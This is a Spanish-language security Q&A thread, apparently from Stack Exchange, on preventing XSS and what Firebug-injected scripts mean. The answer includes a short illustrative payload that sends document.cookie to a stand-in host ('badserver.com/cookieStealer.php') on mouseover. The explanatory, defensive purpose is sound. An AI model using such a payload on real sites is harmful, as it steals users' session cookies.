XSS - Uso de firebug para inyectar scripts

1

Recientemente hice un poco de investigación en XSS y descubrí que para prevenir XSS, la mejor manera es codificar la entrada / salida del usuario. Al ser un novato en este campo no puedo entender esto y tengo un par de preguntas:

  1. Si en el lado del servidor usamos un REGEX para eliminar las barras inclinadas (/,\) y los símbolos de apertura / cierre de secuencia de comandos (<,>) , ¿podemos prevenir XSS?

  2. También encontré un artículo en el que las casillas de verificación y los botones de opción también estaban siendo atacados inyectando un onMouseHover = <script> .. </script> . Dado que esto no enviaría ningún dato al servidor, ¿cómo representa una amenaza?

  3. Usando firebug podemos inyectar scripts en casi todas partes. ¿Qué debemos cuidar exactamente? Si las entradas del formulario de usuario están correctamente validadas, ¿estamos bien?

pregunta AgentX 23.11.2015 - 17:34
fuente

1 respuesta

2
  

Si en el lado del servidor usamos un REGEX ...

Debes usar una lista blanca, no una lista negra. Use una expresión regular para hacer coincidir solo letras, números y un par de símbolos. Es más fácil y seguro que tratar de resolver todas las formas en que los atacantes podrían inyectar scripts.

  

Dado que esto no enviaría ningún dato al servidor, ¿cómo representa una amenaza?

Un script PUEDE enviar datos al servidor. Imagina el siguiente fragmento de código:

<b onMouseOver='javascript:doSomething()'>Nothing</b>
<img id='x' width='1' height='1'>
<script>function doSomething() { 
      document.getElementById('x').src = 'http://badserver.com/cookieStealer.php?' + document.cookie;
    }
</script>

Usted apunta el mouse hacia la etiqueta B y todas las cookies se envían.

  

Usando Firebug podemos inyectar scripts en casi todas partes.

Firebug es un depurador, que se ejecuta en el lado del cliente, operado por el cliente. Todo lo que se haga dentro de Firebug no cuenta como un ataque, porque es una acción iniciada por el usuario. Si convence al cliente para que abra Firebug y ejecute cualquier procedimiento, es probable que le pida que descargue un archivo ejecutable, lo ponga en la lista blanca de antivirus y lo ejecute con privilegios de administrador.

    
respondido por el ThoriumBR 23.11.2015 - 17:50
fuente

Lea otras preguntas en las etiquetas